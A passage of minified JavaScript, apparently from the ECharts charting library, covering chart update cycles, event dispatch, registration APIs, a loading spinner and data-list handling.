u=Dl(a);Su(r,u.focus,u.blurScope,n)}else{var c=t.get(["emphasis","focus"]),h=t.get(["emphasis","blurScope"]);null!=c&&Su(r,c,h,n)}}}(e,n,t._api);else{var r=Tu(e.mainType,e.componentIndex,n.name,t._api),i=r.focusSelf,o=r.dispatchers;n.type===jl&&i&&!n.notBlur&&Mu(e.mainType,e.componentIndex,t._api),o&&E(o,function(t){n.type===jl?vu(t):yu(t)})}else Nu(n)&&e instanceof kg&&(!function(t,e){if(Nu(e)){var n=e.dataType,r=qo(t.getData(n),e);U(r)||(r=[r]),t[e.type===Jl?"toggleSelect":e.type===$l?"select":"unselect"](r,n)}}(e,n,t._api),ku(e),Ky(t))},t),o&&o.eachComponent(s,function(e){a&&null!=a.get(e.id)||u(t["series"===r?"_chartsMap":"_componentsMap"][e.__viewId])},t)}else E([].concat(t._componentsViews).concat(t._chartsViews),u);function u(r){r&&r.__alive&&r[e]&&r[e](r.__model,o,t._api,n)}},By={prepareAndUpdate:function(t){Ry(this),By.update.call(this,t,t&&{optionChanged:null!=t.newOption})},update:function(e,n){var r=this._model,i=this._api,o=this._zr,a=this._coordSysMgr,s=this._scheduler;if(r){!function(t){Pv(t).fullUpdate={}}(r),r.setUpdatePayload(e),s.restoreData(r,e),s.performSeriesTasks(r),a.create(r,i),Dv.trigger("coordsys:aftercreate",r,i),s.performDataProcessorTasks(r,e),Fy(this,r),a.update(r,i),t(r),s.performVisualTasks(r,e);var l=r.get("backgroundColor")||"transparent";o.setBackgroundColor(l);var u=r.get("darkMode");null!=u&&"auto"!==u&&o.setDarkMode(u),Xy(this,r,i,e,n),Dv.trigger("afterupdate",r,i)}},updateTransform:function(t){var e=this,n=e._model,r=e._api;if(n){n.setUpdatePayload(t);var i=[];n.eachComponent(function(o,a){if(o!==Ll){var s=e.getViewOfComponentModel(a);if(s&&s.__alive)if(s.updateTransform){var l=s.updateTransform(a,n,r,t);l&&l.update&&i.push(s)}else i.push(s)}});var o=vt();n.eachSeries(function(i){var a=e._chartsMap[i.__viewId],s=i.pipelineContext;if(a.updateTransform&&!s.progressiveRender){var l=a.updateTransform(i,n,r,t);l&&l.update&&o.set(i.uid,1)}else o.set(i.uid,1)}),e._scheduler.performVisualTasks(n,t,{setDirty:!0,dirtyMap:o}),qy(e,n,r,t,{},o),Dv.trigger("afterupdate",n,r)}},updateView:function(e){var n=this._model;n&&(n.setUpdatePayload(e),zg.markUpdateMethod(e,"updateView"),t(n),this._scheduler.performVisualTasks(n,e,{setDirty:!0}),Xy(this,n,this._api,e,{}),Dv.trigger("afterupdate",n,this._api))},updateVisual:function(e){var n=this,r=this._model;r&&(r.setUpdatePayload(e),r.eachSeries(function(t){t.getData().clearAllVisual()}),zg.markUpdateMethod(e,"updateVisual"),t(r),this._scheduler.performVisualTasks(r,e,{visualType:"visual",setDirty:!0}),r.eachComponent(function(t,i){if("series"!==t){var o=n.getViewOfComponentModel(i);o&&o.__alive&&o.updateVisual(i,r,n._api,e)}}),r.eachSeries(function(t){n._chartsMap[t.__viewId].updateVisual(t,r,n._api,e)}),Dv.trigger("afterupdate",r,this._api))},updateLayout:function(t){By.update.call(this,t)}},zy=function(t,e,n,r,i){if(t._disposed)im(t.id);else{for(var o,a=t._model,s=t._coordSysMgr.getCoordinateSystems(),l=Ko(a,n),u=0;u<s.length;u++){var c=s[u];if(c[e]&&null!=(o=c[e](a,l,r,i)))return o}0}},Fy=function(t,e){var n=t._chartsMap,r=t._scheduler;e.eachSeries(function(t){r.updateStreamModes(t,n[t.__viewId])})},Vy=function(t,e){var n=this,r=this.getModel(),i=t.type,o=t.escapeConnect,a=om[i],s=(a.update||"update").split(":"),l=s.pop(),u=null!=s[0]&&va(s[0]);this[Ty]=!0,Qy(this);var c=[t],h=!1;t.batch&&(h=!0,c=B(t.batch,function(e){return(e=A(I({},e),t)).batch=null,e}));var f,p=[],d=[],g=a.nonRefinedEventType,v=Nu(t),y=Eu(t);if(y&&wu(this._api),E(c,function(e){var i=a.action(e,r,n._api);if(a.refineEvent?d.push(i):f=i,(f=f||I({},e)).type=g,p.push(f),y){var o=$o(t),s=o.queryOptionMap,c=o.mainTypeSpecified?s.keys()[0]:"series";Ey(n,l,e,c),Ky(n)}else v?(Ey(n,l,e,"series"),Ky(n)):u&&Ey(n,l,e,u.main,u.sub)}),"none"!==l&&!y&&!v&&!u)try{this[Cy]?(Ry(this),By.update.call(this,t),this[Cy]=null):By[l].call(this,t)}catch(t){throw this[Ty]=!1,t}if(f=h?{type:g,escapeConnect:o,batch:p}:p[0],this[Ty]=!1,!e){var m=void 0;if(a.refineEvent){var _=a.refineEvent(d,t,r,this._api).eventContent;lt(j(_)),(m=A({type:a.refinedEventType},_)).fromAction=t.type,m.fromActionPayload=t,m.escapeConnect=!0}var x=this._messageCenter;x.trigger(f.type,f),m&&x.trigger(m.type,m)}},Hy=function(t){for(var e=this._pendingActions;e.length;){var n=e.shift();Vy.call(this,n,t)}},Wy=function(t){!t&&this.trigger("updated")},Gy=function(t,e){t.on("rendered",function(n){e.trigger("rendered",n),!t.animation.isFinished()||e[Cy]||e._scheduler.unfinished||e._pendingActions.length?t.refresh():e.trigger("finished")})},Uy=function(t,e){t.on("mouseover",function(t){var n=Iv(t.target,Ru);n&&(!function(t,e,n){var r=Dl(t),i=Tu(r.componentMainType,r.componentIndex,r.componentHighDownName,n),o=i.dispatchers,a=i.focusSelf;o?(a&&Mu(r.componentMainType,r.componentIndex,n),E(o,function(t){return du(t,e)})):(Su(r.seriesIndex,r.focus,r.blurScope,n),"self"===r.focus&&Mu(r.componentMainType,r.componentIndex,n),du(t,e))}(n,t,e._api),Ky(e))}).on("mouseout",function(t){var n=Iv(t.target,Ru);n&&(!function(t,e,n){wu(n);var r=Dl(t),i=Tu(r.componentMainType,r.componentIndex,r.componentHighDownName,n).dispatchers;i?E(i,function(t){return gu(t,e)}):gu(t,e)}(n,t,e._api),Ky(e))}).on("click",function(t){var n=Iv(t.target,function(t){return null!=Dl(t).dataIndex},!0);if(n){var r=n.selected?"unselect":"select",i=Dl(n);e._api.dispatchAction({type:r,dataType:i.dataType,dataIndexInside:i.dataIndex,seriesIndex:i.seriesIndex,isFromClick:!0})}})},Xy=function(t,e,n,r,i){!function(t){var e=[],n=[],r=!1;if(t.eachComponent(function(t,i){var o=i.get("zlevel")||0,a=i.get("z")||0,s=i.getZLevelKey();r=r||!!s,("series"===t?n:e).push({zlevel:o,z:a,idx:i.componentIndex,type:t,key:s})}),r){var i,o,a=e.concat(n);ln(a,function(t,e){return t.zlevel===e.zlevel?t.z-e.z:t.zlevel-e.zlevel}),E(a,function(e){var n=t.getComponent(e.type,e.idx),r=e.zlevel,a=e.key;null!=i&&(r=Math.max(i,r)),a?(r===i&&a!==o&&r++,o=a):o&&(r===i&&r++,o=""),i=r,n.setZLevel(r)})}}(e),Yy(t,e,n,r,i),E(t._chartsViews,function(t){t.__alive=!1}),qy(t,e,n,r,i),E(t._chartsViews,function(t){t.__alive||t.remove(e,n)})},Yy=function(t,e,n,i,s,l){E(l||t._componentsViews,function(t){var s=t.__model;o(s,t),t.render(s,e,n,i),r(s,t),a(s,t)})},qy=function(t,e,n,s,l,u){var c=t._scheduler;l=I(l||{},{updatedSeries:e.getSeries()}),Dv.trigger("series:beforeupdate",e,n,l);var h=!1;e.eachSeries(function(e){var n=t._chartsMap[e.__viewId];n.__alive=!0;var r=n.renderTask;c.updatePayload(r,s),o(e,n),u&&u.get(e.uid)&&r.dirty(),r.perform(c.getPerformArgs(r))&&(h=!0),n.group.silent=!!e.get("silent"),function(t,e){var n=t.get("blendMode")||null;e.eachRendered(function(t){t.isGroup||(t.style.blend=n)})}(e,n),ku(e)}),c.unfinished=h||c.unfinished,Dv.trigger("series:layoutlabels",e,n,l),Dv.trigger("series:transition",e,n,l),e.eachSeries(function(e){var n=t._chartsMap[e.__viewId];r(e,n),a(e,n)}),function(t,e){var n=t._zr;if("canvas"!==n.painter.type)return;var r=n.storage,o=0;r.traverse(function(t){t.isGroup||o++});var a=o>it(e.get("hoverLayerThreshold"),Tp.hoverLayerThreshold)&&!i.node&&!i.worker;(t._usingTHL||a)&&(e.eachSeries(function(e){if(!e.preventUsingHoverLayer){var n=t._chartsMap[e.__viewId];n.__alive&&n.eachRendered(function(t){var e=t.states.emphasis;e&&2!==e.hoverLayer&&(e.hoverLayer=a?1:0)})}}),t._usingTHL=a)}(t,e),Dv.trigger("series:afterupdate",e,n,l)},Ky=function(t){t[Iy]=!0,t.getZr().wakeUp()},Qy=function(t){t[ky]=(t[ky]+1)%1e6},$y=function(t){t[Iy]&&(t.getZr().storage.traverse(function(t){th(t)||e(t)}),t[Iy]=!1)},Zy=function(t){return new(function(e){function r(){return null!==e&&e.apply(this,arguments)||this}return n(r,e),r.prototype.getCoordinateSystems=function(){return t._coordSysMgr.getCoordinateSystems()},r.prototype.getComponentByElement=function(e){for(;e;){var n=e.__ecComponentInfo;if(null!=n)return t._model.getComponent(n.mainType,n.index);e=e.parent}},r.prototype.enterEmphasis=function(e,n){vu(e,n),Ky(t)},r.prototype.leaveEmphasis=function(e,n){yu(e,n),Ky(t)},r.prototype.enterBlur=function(e){!function(t){cu(t,ou)}(e),Ky(t)},r.prototype.leaveBlur=function(e){mu(e),Ky(t)},r.prototype.enterSelect=function(e){_u(e),Ky(t)},r.prototype.leaveSelect=function(e){xu(e),Ky(t)},r.prototype.getModel=function(){return t.getModel()},r.prototype.getViewOfComponentModel=function(e){return t.getViewOfComponentModel(e)},r.prototype.getViewOfSeriesModel=function(e){return t.getViewOfSeriesModel(e)},r.prototype.getECUpdateCycleVersion=function(){return t[ky]},r.prototype.usingTHL=function(){return t._usingTHL},r}(Wl))(t)},jy=function(t){function e(t,e){for(var n=0;n<t.length;n++){t[n][Ay]=e}}E(am,function(n,r){t._messageCenter.on(r,function(n){if(dm[t.group]&&0!==t[Ay]){if(n&&n.escapeConnect)return;var r=t.makeActionFromEvent(n),i=[];E(pm,function(e){e!==t&&e.group===t.group&&i.push(e)}),e(i,0),E(i,function(t){1!==t[Ay]&&t.dispatchAction(r)}),e(i,2)}})})}}(),e}(qt),nm=em.prototype;nm.on=Ly("on"),nm.off=Ly("off"),nm.one=function(t,e,n){var r=this;Po(),this.on.call(this,t,function n(){for(var i=[],o=0;o<arguments.length;o++)i[o]=arguments[o];e&&e.apply&&e.apply(this,i),r.off(t,n)},n)};var rm=["click","dblclick","mouseover","mouseout","mousemove","mousedown","mouseup","globalout","contextmenu"];function im(t){0}var om={},am={},sm={},lm=[],um=[],cm=[],hm={},fm={},pm={},dm={},gm=+new Date-0,vm=+new Date-0,ym="_echarts_instance_";function mm(t){dm[t]=!1}var _m=mm;function xm(t){return pm[function(t,e){return t.getAttribute?t.getAttribute(e):t[e]}(t,ym)]}function bm(t,e){hm[t]=e}function wm(t){P(um,t)<0&&um.push(t)}function Sm(t,e){Pm(lm,t,e,2e3)}function Mm(t){km("afterinit",t)}function Tm(t){km("afterupdate",t)}function km(t,e){Dv.on(t,e)}function Cm(t,e,n){var r,i,o,a,s;function l(t){return t.toLowerCase()}X(e)&&(n=e,e=""),j(t)?(r=t.type,i=t.event,a=t.update,s=t.publishNonRefinedEvent,n||(n=t.action),o=t.refineEvent):(r=t,i=e),i=l(i||r);var u=o?l(r):i;om[r]||(lt(Dy.test(r)&&Dy.test(i)),o&<(i!==r),om[r]={actionType:r,refinedEventType:i,nonRefinedEventType:u,update:a,action:n,refineEvent:o},sm[i]=1,o&&s&&(sm[u]=1),am[u]=r)}function Im(t,e){tp.register(t,e)}function Dm(t,e){Pm(cm,t,e,1e3,"layout",!0)}function Am(t,e){Pm(cm,t,e,3e3,"visual",!0)}var Lm=[];function Pm(t,e,n,r,i,o){if((X(e)||j(e))&&(n=e,e=r),!(P(Lm,n)>=0)){Lm.push(n);var a=ev.wrapStageHandler(n,i);a.__prio=e,a.__raw=n,t.push(a)}}function Om(t,e){fm[t]=e}function Rm(t,e,n){var r=Lv("registerMap");r&&r(t,e,n)}var Nm=function(t){var e=(t=k(t)).type,n="";e||Oo(n);var r=e.split(":");2!==r.length&&Oo(n);var i=!1;"echarts"===r[0]&&(e=r[1],i=!0),t.__isBuiltIn=i,og.set(e,t)};function Em(t,e,n,r){return{eventContent:{selected:Cu(n),isFromClick:e.isFromClick||!1}}}Am(wy,Kg),Am(Sy,Qg),Am(Sy,Jg),Am(wy,Tv),Am(Sy,kv),Am(7e3,by),wm(yd),Sm(900,md),Om("default",function(t,e){A(e=e||{},{text:"loading",textColor:yp.color.primary,fontSize:12,fontWeight:"normal",fontStyle:"normal",fontFamily:"sans-serif",maskColor:"rgba(255,255,255,0.8)",showSpinner:!0,color:yp.color.theme[0],spinnerRadius:10,lineWidth:5,zlevel:0});var n=new Bi,r=new pl({style:{fill:e.maskColor},zlevel:e.zlevel,z:1e4});n.add(r);var i,o=new yl({style:{text:e.text,fill:e.textColor,fontSize:e.fontSize,fontWeight:e.fontWeight,fontStyle:e.fontStyle,fontFamily:e.fontFamily},zlevel:e.zlevel,z:10001}),a=new pl({style:{fill:"none"},textContent:o,textConfig:{position:"right",distance:10},zlevel:e.zlevel,z:10001});return n.add(a),e.showSpinner&&((i=new Rc({shape:{startAngle:-tv/2,endAngle:-tv/2+.1,r:e.spinnerRadius},style:{stroke:e.color,lineCap:"round",lineWidth:e.lineWidth},zlevel:e.zlevel,z:10001})).animateShape(!0).when(1e3,{endAngle:3*tv/2}).start("circularInOut"),i.animateShape(!0).when(1e3,{startAngle:3*tv/2}).delay(300).start("circularInOut"),n.add(i)),n.resize=function(){var n=o.getBoundingRect().width,s=e.showSpinner?e.spinnerRadius:0,l=(t.getWidth()-2*s-(e.showSpinner&&n?10:0)-n)/2-(e.showSpinner&&n?0:5+n/2)+(e.showSpinner?0:n/2)+(n?0:s),u=t.getHeight()/2;e.showSpinner&&i.setShape({cx:l,cy:u}),a.setShape({x:l-s,y:u-s,width:2*s,height:2*s}),r.setShape({x:0,y:0,width:t.getWidth(),height:t.getHeight()})},n.resize(),n}),Cm({type:jl,event:jl,update:jl},bt),Cm({type:Kl,event:Kl,update:Kl},bt),Cm({type:$l,event:tu,update:$l,action:bt,refineEvent:Em,publishNonRefinedEvent:!0}),Cm({type:Ql,event:tu,update:Ql,action:bt,refineEvent:Em,publishNonRefinedEvent:!0}),Cm({type:Jl,event:tu,update:Jl,action:bt,refineEvent:Em,publishNonRefinedEvent:!0}),bm("default",{}),bm("dark",bv);var Bm=[],zm={registerPreprocessor:wm,registerProcessor:Sm,registerPostInit:Mm,registerPostUpdate:Tm,registerUpdateLifecycle:km,registerAction:Cm,registerCoordinateSystem:Im,registerLayout:Dm,registerVisual:Am,registerTransform:Nm,registerLoading:Om,registerMap:Rm,registerImpl:function(t,e){Av[t]=e},PRIORITY:My,ComponentModel:vp,ComponentView:Rg,SeriesModel:kg,ChartView:zg,registerComponentModel:function(t){vp.registerClass(t)},registerComponentView:function(t){Rg.registerClass(t)},registerSeriesModel:function(t){kg.registerClass(t)},registerChartView:function(t){zg.registerClass(t)},registerCustomSeries:function(t,e){},registerSubTypeDefaulter:function(t,e){vp.registerSubTypeDefaulter(t,e)},registerPainter:function(t,e){Gi(t,e)}};function Fm(t){U(t)?E(t,function(t){Fm(t)}):P(Bm,t)>=0||(Bm.push(t),X(t)&&(t={install:t}),t.install(zm))}function Vm(t){return null==t?0:t.length||1}function Hm(t){return t}var Wm=function(){function t(t,e,n,r,i,o){this._old=t,this._new=e,this._oldKeyGetter=n||Hm,this._newKeyGetter=r||Hm,this.context=i,this._diffModeMultiple="multiple"===o}return t.prototype.add=function(t){return this._add=t,this},t.prototype.update=function(t){return this._update=t,this},t.prototype.updateManyToOne=function(t){return this._updateManyToOne=t,this},t.prototype.updateOneToMany=function(t){return this._updateOneToMany=t,this},t.prototype.updateManyToMany=function(t){return this._updateManyToMany=t,this},t.prototype.remove=function(t){return this._remove=t,this},t.prototype.execute=function(){this[this._diffModeMultiple?"_executeMultiple":"_executeOneToOne"]()},t.prototype._executeOneToOne=function(){var t=this._old,e=this._new,n={},r=new Array(t.length),i=new Array(e.length);this._initIndexMap(t,null,r,"_oldKeyGetter"),this._initIndexMap(e,n,i,"_newKeyGetter");for(var o=0;o<t.length;o++){var a=r[o],s=n[a],l=Vm(s);if(l>1){var u=s.shift();1===s.length&&(n[a]=s[0]),this._update&&this._update(u,o)}else 1===l?(n[a]=null,this._update&&this._update(s,o)):this._remove&&this._remove(o)}this._performRestAdd(i,n)},t.prototype._executeMultiple=function(){var t=this._old,e=this._new,n={},r={},i=[],o=[];this._initIndexMap(t,n,i,"_oldKeyGetter"),this._initIndexMap(e,r,o,"_newKeyGetter");for(var a=0;a<i.length;a++){var s=i[a],l=n[s],u=r[s],c=Vm(l),h=Vm(u);if(c>1&&1===h)this._updateManyToOne&&this._updateManyToOne(u,l),r[s]=null;else if(1===c&&h>1)this._updateOneToMany&&this._updateOneToMany(u,l),r[s]=null;else if(1===c&&1===h)this._update&&this._update(u,l),r[s]=null;else if(c>1&&h>1)this._updateManyToMany&&this._updateManyToMany(u,l),r[s]=null;else if(c>1)for(var f=0;f<c;f++)this._remove&&this._remove(l[f]);else this._remove&&this._remove(l)}this._performRestAdd(o,r)},t.prototype._performRestAdd=function(t,e){for(var n=0;n<t.length;n++){var r=t[n],i=e[r],o=Vm(i);if(o>1)for(var a=0;a<o;a++)this._add&&this._add(i[a]);else 1===o&&this._add&&this._add(i);e[r]=null}},t.prototype._initIndexMap=function(t,e,n,r){for(var i=this._diffModeMultiple,o=0;o<t.length;o++){var a="_ec_"+this[r](t[o],o);if(i||(n[o]=a),e){var s=e[a],l=Vm(s);0===l?(e[a]=o,i&&n.push(a)):1===l?e[a]=[s,o]:s.push(o)}}},t}(),Gm=function(){function t(t,e){this._encode=t,this._schema=e}return t.prototype.get=function(){return{fullDimensions:this._getFullDimensionNames(),encode:this._encode}},t.prototype._getFullDimensionNames=function(){return this._cachedDimNames||(this._cachedDimNames=this._schema?this._schema.makeOutputDimensionNames():[]),this._cachedDimNames},t}();function Um(t,e){return t.hasOwnProperty(e)||(t[e]=[]),t[e]}var Xm=function(t){this.otherDims={},null!=t&&I(this,t)},Ym=Zo(),qm={float:"f",int:"i",ordinal:"o",number:"n",time:"t"},Zm=function(){function t(t){this.dimensions=t.dimensions,this._dimOmitted=t.dimensionOmitted,this.source=t.source,this._fullDimCount=t.fullDimensionCount,this._updateDimOmitted(t.dimensionOmitted)}return t.prototype.isDimensionOmitted=function(){return this._dimOmitted},t.prototype._updateDimOmitted=function(t){this._dimOmitted=t,t&&(this._dimNameMap||(this._dimNameMap=$m(this.source)))},t.prototype.getSourceDimensionIndex=function(t){return it(this._dimNameMap.get(t),-1)},t.prototype.getSourceDimension=function(t){var e=this.source.dimensionsDefine;if(e)return e[t]},t.prototype.makeStoreSchema=function(){for(var t=this._fullDimCount,e=Pd(this.source),n=!Qm(t),r="",i=[],o=0,a=0;o<t;o++){var s=void 0,l=void 0,u=void 0,c=this.dimensions[a];if(c&&c.storeDimIndex===o)s=e?c.name:null,l=c.type,u=c.ordinalMeta,a++;else{var h=this.getSourceDimension(o);h&&(s=e?h.name:null,l=h.type)}i.push({property:s,type:l,ordinalMeta:u}),!e||null==s||c&&c.isCalculationCoord||(r+=n?s.replace(/\`/g,"`1").replace(/\$/g,"`2"):s),r+="$",r+=qm[l]||"f",u&&(r+=u.uid),r+="$"}var f=this.source;return{dimensions:i,hash:[f.seriesLayoutBy,f.startIndex,r].join("$$")}},t.prototype.makeOutputDimensionNames=function(){for(var t=[],e=0,n=0;e<this._fullDimCount;e++){var r=void 0,i=this.dimensions[n];if(i&&i.storeDimIndex===e)i.isCalculationCoord||(r=i.name),n++;else{var o=this.getSourceDimension(e);o&&(r=o.name)}t.push(r)}return t},t.prototype.appendCalculationDimension=function(t){this.dimensions.push(t),t.isCalculationCoord=!0,this._fullDimCount++,this._updateDimOmitted(!0)},t}();function jm(t){return t instanceof Zm}function Km(t){for(var e=vt(),n=0;n<(t||[]).length;n++){var r=t[n],i=j(r)?r.name:r;null!=i&&null==e.get(i)&&e.set(i,n)}return e}function $m(t){var e=Ym(t);return e.dimNameMap||(e.dimNameMap=Km(t.dimensionsDefine))}function Qm(t){return t>30}var Jm,t_,e_,n_,r_,i_,o_,a_=j,s_=B,l_="undefined"==typeof Int32Array?Array:Int32Array,u_=["hasItemOption","_nameList","_idList","_invertedIndicesMap","_dimSummary","userOutput","_rawData","_dimValueGetter","_nameDimIdx","_idDimIdx","_nameRepeatCount"],c_=["_approximateExtent"],h_=function(){function t(t,e){var n;this.type="list",this._dimOmitted=!1,this._nameList=[],this._idList=[],this._visual={},this._layout={},this._itemVisuals=[],this._itemLayouts=[],this._graphicEls=[],this._approximateExtent={},this._calculationInfo={},this.hasItemOption=!1,this.TRANSFERABLE_METHODS=["cloneShallow","downSample","minmaxDownSample","lttbDownSample","map"],this.CHANGABLE_METHODS=["filterSelf","selectRange"],this.DOWNSAMPLE_METHODS=["downSample","minmaxDownSample","lttbDownSample"];var r=!1;jm(t)?(n=t.dimensions,this._dimOmitted=t.isDimensionOmitted(),this._schema=t):(r=!0,n=t),n=n||["x","y"];for(var i={},o=[],a={},s=!1,l={},u=0;u<n.length;u++){var c=n[u],h=Y(c)?new Xm({name:c}):c instanceof Xm?c:new Xm(c),f=h.name;h.type=h.type||"float",h.coordDim||(h.coordDim=f,h.coordDimIndex=0);var p=h.otherDims=h.otherDims||{};o.push(f),i[f]=h,null!=l[f]&&(s=!0),h.createInvertedIndices&&(a[f]=[]),r&&(h.storeDimIndex=u),0===p.itemName&&(this._nameDimIdx=h.storeDimIndex),0===p.itemId&&(this._idDimIdx=h.storeDimIndex)}if(this.dimensions=o,this._dimInfos=i,this._initGetDimensionInfo(s),this.hostModel=e,this._invertedIndicesMap=a,this._dimOmitted){var d=this._dimIdxToName=vt();E(o,function(t){d.set(i[t].storeDimIndex,t)})}}return t.prototype.getDimension=function(t){var e=this._recognizeDimIndex(t);if(null==e)return t;if(e=t,!this._dimOmitted)return this.dimensions[e];var n=this._dimIdxToName.get(e);if(null!=n)return n;var r=this._schema.getSourceDimension(e);return r?r.name:void 0},t.prototype.getDimensionIndex=function(t){var e=this._recognizeDimIndex(t);if(null!=e)return e;if(null==t)return-1;var n=this._getDimInfo(t);return n?n.storeDimIndex:this._dimOmitted?this._schema.getSourceDimensionIndex(t):-1},t.prototype._recognizeDimIndex=function(t){if(Z(t)||null!=t&&!isNaN(t)&&!this._getDimInfo(t)&&(!this._dimOmitted||this._schema.getSourceDimensionIndex(t)<0))return+t},t.prototype._getStoreDimIndex=function(t){var e=this.getDimensionIndex(t);return e},t.prototype.getDimensionInfo=function(t){return this._getDimInfo(this.getDimension(t))},t.prototype._initGetDimensionInfo=function(t){var e=this._dimInfos;this._getDimInfo=t?function(t){return e.hasOwnProperty(t)?e[t]:void 0}:function(t){return e[t]}},t.prototype.getDimensionsOnCoord=function(){return this._dimSummary.dataDimsOnCoord.slice()},t.prototype.mapDimension=function(t,e){var n=this._dimSummary;if(null==e)return n.encodeFirstDimNotExtra[t];var r=n.encode[t];return r?r[e]:null},t.prototype.mapDimensionsAll=function(t){return(this._dimSummary.encode[t]||[]).slice()},t.prototype.getStore=function(){return this._store},t.prototype.initData=function(t,e,n){var r,i=this;if(t instanceof yg&&(r=t),!r){var o=this.dimensions,a=kd(t)||N(t)?new Od(t,o.length):t;r=new yg;var s=s_(o,function(t){return{type:i._dimInfos[t].type,property:t}});r.initData(a,s,n)}this._store=r,this._nameList=(e||[]).slice(),this._idList=[],this._nameRepeatCount={},this._doInit(0,r.count()),this._dimSummary=function(t,e){var n={},r=n.encode={},i=vt(),o=[],a=[],s={};E(t.dimensions,function(e){var n,l=t.getDimensionInfo(e),u=l.coordDim;if(u){var c=l.coordDimIndex;Um(r,u)[c]=e,l.isExtraCoord||(i.set(u,1),"ordinal"!==(n=l.type)&&"time"!==n&&(o[0]=e),Um(s,u)[c]=t.getDimensionIndex(l.name)),l.defaultTooltip&&a.push(e)}Pl.each(function(t,e){var n=Um(r,e),i=l.otherDims[e];null!=i&&!1!==i&&(n[i]=l.name)})});var l=[],u={};i.each(function(t,e){var n=r[e];u[e]=n[0],l=l.concat(n)}),n.dataDimsOnCoord=l,n.dataDimIndicesOnCoord=B(l,function(e){return t.getDimensionInfo(e).storeDimIndex}),n.encodeFirstDimNotExtra=u;var c=r.label;c&&c.length&&(o=c.slice());var h=r.tooltip;return h&&h.length?a=h.slice():a.length||(a=o.slice()),r.defaultedLabel=o,r.defaultedTooltip=a,n.userOutput=new Gm(s,e),n}(this,this._schema),this.userOutput=this._dimSummary.userOutput},t.prototype.appendData=function(t){var e=this._store.appendData(t);this._doInit(e[0],e[1])},t.prototype.appendValues=function(t,e){var n=this._store.appendValues(t,e&&e.length),r=n.start,i=n.end,o=this._shouldMakeIdFromName();if(this._updateOrdinalMeta(),e)for(var a=r;a<i;a++){var s=a-r;this._nameList[a]=e[s],o&&o_(this,a)}},t.prototype._updateOrdinalMeta=function(){for(var t=this._store,e=this.dimensions,n=0;n<e.length;n++){var r=this._dimInfos[e[n]];r.ordinalMeta&&t.collectOrdinalMeta(r.storeDimIndex,r.ordinalMeta)}},t.prototype._shouldMakeIdFromName=function(){var t=this._store.getProvider();return null==this._idDimIdx&&t.getSource().sourceFormat!==Bl&&!t.fillStorage},t.prototype._doInit=function(t,e){if(!(t>=e)){var n=this._store.getProvider();this._updateOrdinalMeta();var r=this._nameList,i=this._idList;if(n.getSource().sourceFormat===Ol&&!n.pure)for(var o=[],a=t;a<e;a++){var s=n.getItem(a,o);if(!this.hasItemOption&&Vo(s)&&(this.hasItemOption=!0),s){var l=s.name;null==r[a]&&null!=l&&(r[a]=Uo(l,null));var u=s.id;null==i[a]&&null!=u&&(i[a]=Uo(u,null))}}if(this._shouldMakeIdFromName())for(a=t;a<e;a++)o_(this,a);Jm(this)}},t.prototype.getApproximateExtent=function(t,e){return this._approximateExtent[t]||this._store.getDataExtent(this._getStoreDimIndex(t),e)},t.prototype.setApproximateExtent=function(t,e){e=this.getDimension(e),this._approximateExtent[e]=t.slice()},t.prototype.getCalculationInfo=function(t){return this._calculationInfo[t]},t.prototype.setCalculationInfo=function(t,e){a_(t)?I(this._calculationInfo,t):this._calculationInfo[t]=e},t.prototype.getName=function(t){var e=this.getRawIndex(t),n=this._nameList[e];return null==n&&null!=this._nameDimIdx&&(n=e_(this,this._nameDimIdx,e)),null==n&&(n=""),n},t.prototype._getCategory=function(t,e){var n=this._store.get(t,e),r=this._store.getOrdinalMeta(t);return r?r.categories[n]:n},t.prototype.getId=function(t){return t_(this,this.getRawIndex(t))},t.prototype.count=function(){return this._store.count()},t.prototype.get=function(t,e){var n=this._store,r=this._dimInfos[t];if(r)return n.get(r.storeDimIndex,e)},t.prototype.getByRawIndex=function(t,e){var n=this._store,r=this._dimInfos[t];if(r)return n.getByRawIndex(r.storeDimIndex,e)},t.prototype.getIndices=function(){return this._store.getIndices()},t.prototype.getDataExtent=function(t){return this._store.getDataExtent(this._getStoreDimIndex(t),null)},t.prototype.getSum=function(t){return this._store.getSum(this._getStoreDimIndex(t))},t.prototype.getMedian=function(t){return this._store.getMedian(this._getStoreDimIndex(t))},t.prototype.getValues=function(t,e){var n=this,r=this._store;return U(t)?r.getValues(s_(t,function(t){return n._getStoreDimIndex(t)}),e):r.getValues(t)},t.prototype.hasValue=function(t){for(var e=this._dimSummary.dataDimIndicesOnCoord,n=0,r=e.length;n<r;n++)if(isNaN(this._store.get(e[n],t)))return!1;return!0},t.prototype.indexOfName=function(t){for(var e=0,n=this._store.count();e<n;e++)if(this.getName(e)===t)return e;return-1},t.prototype.getRawIndex=function(t){return this._store.getRawIndex(t)},t.prototype.indexOfRawIndex=function(t){return this._store.indexOfRawIndex(t)},t.prototype.rawIndexOf=function(t,e){var n=t&&this._invertedIndicesMap[t];var r=n&&n[e];return null==r||isNaN(r)?-1:r},t.prototype.each=function(t,e,n){X(t)&&(n=e,e=t,t=[]);var r=n||this,i=s_(n_(t),this._getStoreDimIndex,this);this._store.each(i,r?W(e,r):e)},t.prototype.filterSelf=function(t,e,n){X(t)&&(n=e,e=t,t=[]);var r=n||this,i=s_(n_(t),this._getStoreDimIndex,this);return this._store=this._store.filter(i,r?W(e,r):e),this},t.prototype.selectRange=function(t){var e=this,n={};return E(H(t),function(r){var i=e._getStoreDimIndex(r);n[i]=t[r]}),this._store=this._store.selectRange(n),this},t.prototype.mapArray=function(t,e,n){X(t)&&(n=e,e=t,t=[]),n=n||this;var r=[];return this.each(t,function(){r.push(e&&e.apply(this,arguments))},n),r},t.prototype.map=function(t,e,n,r){var i=n||r||this,o=s_(n_(t),this._getStoreDimIndex,this),a=i_(this);return a._store=this._store.map(o,i?W(e,i):e),a},t.prototype.modify=function(t,e,n,r){var i=n||r||this;var o=s_(n_(t),this._getStoreDimIndex,this);this._store.modify(o,i?W(e,i):e)},t.prototype.downSample=function(t,e,n,r){var i=i_(this);return i._store=this._store.downSample(this._getStoreDimIndex(t),e,n,r),i},t.prototype.minmaxDownSample=function(t,e){var n=i_(this);return n._store=this._store.minmaxDownSample(this._getStoreDimIndex(t),e),n},t.prototype.lttbDownSample=function(t,e){var n=i_(this);return n._store=this._store.lttbDownSample(this._getStoreDimIndex(t),e),n},t.prototype.getRawDataItem=function(t){return this._store.getRawDataItem(t)},t.prototype.getItemModel=function(t){var e=this.hostModel,n=this.getRawDataItem(t);return new Jh(n,e,e&&e.ecModel)},t.prototype.diff=function(t){var e=this;return new Wm(t?t.getStore().getIndices():[],this.getStore().getIndices(),function(e){return t_(t,e)},function(t){return 